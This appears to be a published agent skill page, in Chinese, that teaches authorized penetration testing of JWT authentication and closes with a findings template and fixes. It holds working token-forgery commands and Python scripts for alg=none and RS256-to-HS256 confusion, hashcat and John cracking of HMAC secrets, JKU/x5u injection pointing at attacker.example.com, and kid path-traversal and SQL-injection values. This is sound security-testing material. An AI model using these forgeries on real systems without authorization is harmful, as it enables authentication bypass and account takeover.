# Testing JWT Token Security

> 在安全测试活动中，评估 JSON Web Token（JWT）实现中的密码学弱点、算法混淆攻击和授权绕过漏洞。

- Skill: `killvxk/testing-jwt-token-security` (Agent Skill, multi-file: 4 files)
- Install (CLI): `npx skillmds@latest add killvxk/testing-jwt-token-security`
- Raw SKILL.md: https://api.skillmd.com/api/skills/killvxk/testing-jwt-token-security/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- License: Apache-2.0
- Author: killvxk (https://skillmd.com/u/killvxk)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/killvxk/testing-jwt-token-security

---


# 测试 JWT 令牌安全性

## 适用场景

- 在授权的渗透测试中，目标应用程序使用 JWT 进行认证或授权时
- 评估 API 安全性，JWT 作为 Bearer 令牌或在 Cookie 中传递时
- 评估使用 JWT/JWS/JWE 令牌的 SSO 实现时
- 测试颁发 JWT 的 OAuth 2.0 或 OpenID Connect 流程时
- 对使用 JWT 进行服务间认证的微服务架构进行安全审计时

## 前置条件

- **授权**：针对目标的书面渗透测试协议
- **jwt_tool**：JWT 攻击工具包（`pip install jwt_tool` 或 `git clone https://github.com/ticarpi/jwt_tool.git`）
- **Burp Suite Professional**：安装了 BApp Store 中的 JSON Web Token 扩展
- **Python PyJWT**：用于编写自定义 JWT 攻击脚本（`pip install pyjwt`）
- **Hashcat**：用于暴力破解 HMAC 密钥（`apt install hashcat`）
- **jq**：用于 JSON 处理
- **目标 JWT**：来自应用程序的有效 JWT 令牌

## 工作流程

### 步骤 1：解码并分析 JWT 结构

提取并检查头部（Header）、载荷（Payload）和签名（Signature）组件。

```bash
# 解码 JWT 各部分（base64url 解码）
JWT="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"

# 解码头部
echo "$JWT" | cut -d. -f1 | base64 -d 2>/dev/null | jq .
# 输出: {"alg":"HS256","typ":"JWT"}

# 解码载荷
echo "$JWT" | cut -d. -f2 | base64 -d 2>/dev/null | jq .
# 输出: {"sub":"1234567890","name":"John Doe","iat":1516239022}

# 使用 jwt_tool 进行全面分析
python3 jwt_tool.py "$JWT"

# 检查载荷中的敏感数据:
# - 个人身份信息（PII）：邮箱、电话、地址
# - 内部 ID 或数据库引用
# - 角色/权限声明
# - 过期时间（exp、nbf、iat）
# - 颁发方（iss）和受众（aud）
```

### 步骤 2：测试算法 None 攻击

尝试通过将算法设置为 "none" 来伪造令牌。

```bash
# jwt_tool 算法 none 攻击
python3 jwt_tool.py "$JWT" -X a

# 手动算法 none 攻击
# 创建头部: {"alg":"none","typ":"JWT"}
HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' | tr '+/' '-_')

# 创建修改后的载荷（将 role 改为 admin）
PAYLOAD=$(echo -n '{"sub":"1234567890","name":"John Doe","role":"admin","iat":1516239022}' | base64 | tr -d '=' | tr '+/' '-_')

# 构造带空签名的令牌
FORGED_JWT="${HEADER}.${PAYLOAD}."
echo "伪造的 JWT: $FORGED_JWT"

# 测试伪造的令牌
curl -s -H "Authorization: Bearer $FORGED_JWT" \
  "https://target.example.com/api/admin/users" | jq .

# 尝试变体: "None", "NONE", "nOnE"
for alg in none None NONE nOnE; do
  HEADER=$(echo -n "{\"alg\":\"$alg\",\"typ\":\"JWT\"}" | base64 | tr -d '=' | tr '+/' '-_')
  FORGED="${HEADER}.${PAYLOAD}."
  echo -n "alg=$alg: "
  curl -s -o /dev/null -w "%{http_code}" \
    -H "Authorization: Bearer $FORGED" \
    "https://target.example.com/api/admin/users"
  echo
done
```

### 步骤 3：测试算法混淆（RS256 到 HS256）

如果服务器使用 RS256，尝试切换到 HS256 并用公钥签名。

```bash
# 步骤 1：获取服务器的公钥
# 检查常见位置
curl -s "https://target.example.com/.well-known/jwks.json" | jq .
curl -s "https://target.example.com/.well-known/openid-configuration" | jq .jwks_uri
curl -s "https://target.example.com/oauth/certs" | jq .

# 步骤 2：从 JWKS 提取公钥
# 保存 JWKS 并转换为 PEM 格式
# 使用 jwt_tool 或 openssl

# 步骤 3：jwt_tool 密钥混淆攻击
python3 jwt_tool.py "$JWT" -X k -pk public_key.pem

# 使用 Python 手动进行算法混淆攻击
python3 << 'PYEOF'
import jwt
import json

# 读取服务器的 RSA 公钥
with open('public_key.pem', 'r') as f:
    public_key = f.read()

# 创建伪造载荷
payload = {
    "sub": "1234567890",
    "name": "Admin User",
    "role": "admin",
    "iat": 1516239022,
    "exp": 9999999999
}

# 使用 RSA 公钥作为 HMAC 密钥，以 HS256 签名
forged_token = jwt.encode(payload, public_key, algorithm='HS256')
print(f"伪造令牌: {forged_token}")
PYEOF

# 测试伪造的令牌
curl -s -H "Authorization: Bearer $FORGED_TOKEN" \
  "https://target.example.com/api/admin/users"
```

### 步骤 4：暴力破解 HMAC 密钥

如果使用 HS256，尝试破解签名密钥。

```bash
# 使用 jwt_tool 配合常见密钥
python3 jwt_tool.py "$JWT" -C -d /usr/share/wordlists/rockyou.txt

# 使用 hashcat 进行 GPU 加速破解
# 模式 16500 = JWT (HS256)
hashcat -a 0 -m 16500 "$JWT" /usr/share/wordlists/rockyou.txt

# 使用 John the Ripper
echo "$JWT" > jwt_hash.txt
john jwt_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256

# 如果找到密钥，可以伪造任意令牌
python3 << 'PYEOF'
import jwt

secret = "cracked_secret_here"
payload = {
    "sub": "1",
    "name": "Admin",
    "role": "admin",
    "exp": 9999999999
}
token = jwt.encode(payload, secret, algorithm='HS256')
print(f"伪造令牌: {token}")
PYEOF
```

### 步骤 5：测试 JWT 声明篡改和注入

修改 JWT 声明以提升权限或绕过授权。

```bash
# 使用 jwt_tool 进行声明篡改
# 更改 role 声明
python3 jwt_tool.py "$JWT" -T -S hs256 -p "known_secret" \
  -pc role -pv admin

# 测试常见声明攻击:

# 1. JKU（JWK Set URL）注入
python3 jwt_tool.py "$JWT" -X s -ju "https://attacker.example.com/jwks.json"
# 在该 URL 托管攻击者控制的 JWKS

# 2. KID（Key ID）注入
# 在 kid 参数中进行 SQL 注入
python3 jwt_tool.py "$JWT" -I -hc kid -hv "../../dev/null" -S hs256 -p ""
# 如果 kid 用于文件路径查找，指向 /dev/null（空密钥）

# 通过 kid 进行 SQL 注入
python3 jwt_tool.py "$JWT" -I -hc kid -hv "' UNION SELECT 'secret' --" -S hs256 -p "secret"

# 3. x5u（X.509 URL）注入
python3 jwt_tool.py "$JWT" -X s -x5u "https://attacker.example.com/cert.pem"

# 4. 修改 subject 和 role 声明
python3 jwt_tool.py "$JWT" -T -S hs256 -p "secret" \
  -pc sub -pv "admin@target.com" \
  -pc role -pv "superadmin"
```

### 步骤 6：测试令牌生命周期和吊销

评估令牌过期强制执行和吊销能力。

```bash
# 测试是否接受已过期的令牌
python3 << 'PYEOF'
import jwt
import time

secret = "known_secret"
# 创建 1 小时前已过期的令牌
payload = {
    "sub": "user123",
    "role": "user",
    "exp": int(time.time()) - 3600,
    "iat": int(time.time()) - 7200
}
expired_token = jwt.encode(payload, secret, algorithm='HS256')
print(f"过期令牌: {expired_token}")
PYEOF

curl -s -H "Authorization: Bearer $EXPIRED_TOKEN" \
  "https://target.example.com/api/profile" -w "%{http_code}"

# 测试具有遥远未来过期时间的令牌
python3 << 'PYEOF'
import jwt

secret = "known_secret"
payload = {
    "sub": "user123",
    "role": "user",
    "exp": 32503680000  # 3000 年
}
long_lived = jwt.encode(payload, secret, algorithm='HS256')
print(f"长期有效令牌: {long_lived}")
PYEOF

# 测试注销后的令牌重用
# 1. 在注销前捕获 JWT
# 2. 注销（调用 /auth/logout）
# 3. 尝试再次使用已捕获的 JWT
curl -s -H "Authorization: Bearer $PRE_LOGOUT_TOKEN" \
  "https://target.example.com/api/profile" -w "%{http_code}"
# 如果返回 200，说明令牌在注销后未被吊销

# 测试密码更改后的令牌重用
# 类似测试：捕获 JWT，更改密码，重用旧 JWT
```

## 核心概念

| 概念 | 描述 |
|------|------|
| **算法 None 攻击** | 通过将 `alg` 设置为 `none` 来绕过签名验证 |
| **算法混淆** | 从 RS256 切换到 HS256，并用公钥作为 HMAC 密钥签名 |
| **HMAC 暴力破解** | 使用词表或暴力破解方式破解弱 HS256 签名密钥 |
| **JKU/x5u 注入** | 将 JWT 头部 URL 指向攻击者控制的密钥服务器 |
| **KID 注入** | 利用密钥 ID 头部参数中的 SQL 注入或路径遍历 |
| **声明篡改** | 在攻破签名密钥后修改载荷声明（role、sub、permissions） |
| **令牌吊销** | 在令牌过期前使其失效的能力（或缺乏该能力） |
| **JWE 与 JWS** | JSON Web 加密（JWE，保密性）与 JSON Web 签名（JWS，完整性）的区别 |

## 工具与系统

| 工具 | 用途 |
|------|------|
| **jwt_tool** | 带自动化攻击模块的全面 JWT 测试工具包 |
| **Burp JWT Editor** | 用于实时 JWT 操纵的 Burp Suite 扩展 |
| **Hashcat** | GPU 加速的 HMAC 密钥暴力破解（模式 16500） |
| **John the Ripper** | 基于 CPU 的 JWT 密钥破解 |
| **PyJWT** | 用于编程式 JWT 创建和操纵的 Python 库 |
| **jwt.io** | JWT 在线解码器，可快速分析（请勿粘贴生产环境令牌） |

## 常见场景

### 场景 1：算法 None 绕过
JWT 库接受 `"alg":"none"` 的令牌，任何用户只需移除签名并修改算法头部即可伪造管理员令牌。

### 场景 2：弱 HMAC 密钥
应用程序使用 HS256 算法，且签名密钥为字典单词。Hashcat 在几分钟内破解密钥，实现完全的令牌伪造和管理员冒充。

### 场景 3：SSO 中的算法混淆
SSO 提供方使用 RS256，但消费方应用程序也接受 HS256。攻击者使用公开可用的 RSA 公钥通过 HS256 对伪造令牌签名。

### 场景 4：KID SQL 注入
`kid` 头部参数用于 SQL 查询中查找签名密钥。注入 `' UNION SELECT 'attacker_secret' --` 使攻击者能控制签名密钥。

## 输出格式

```
## JWT 安全发现

**漏洞类型**: JWT 算法混淆（RS256 到 HS256）
**严重级别**: 严重（CVSS 9.8）
**位置**: 所有 API 端点的 Authorization 头
**OWASP 类别**: A02:2021 - 密码学失效

### JWT 配置
| 属性 | 值 |
|------|-----|
| 算法 | RS256（同时接受 HS256） |
| 颁发方 | auth.target.example.com |
| 过期时间 | 24 小时 |
| 公钥 | 可在 /.well-known/jwks.json 获取 |
| 吊销机制 | 未实现 |

### 已确认的攻击
| 攻击方式 | 结果 |
|---------|------|
| 算法 None | 已拦截 |
| 算法混淆（RS256→HS256） | 存在漏洞 |
| HMAC 暴力破解 | 不适用（RSA） |
| KID 注入 | 不存在 |
| 已过期令牌重用 | 已接受（无吊销机制） |

### 影响
- 通过伪造管理员令牌完全绕过认证
- 任何用户均可通过伪造 JWT 声明提升至任意角色
- 注销后令牌仍有效（无服务器端吊销）

### 修复建议
1. 在服务器端强制执行算法白名单（拒绝意外的算法）
2. 使用非对称算法（RS256/ES256）并妥善管理密钥
3. 通过黑名单或短期过期配合刷新令牌机制实现令牌吊销
4. 服务器端验证所有 JWT 声明（iss、aud、exp、nbf）
5. HMAC 密钥长度至少为 256 位
```

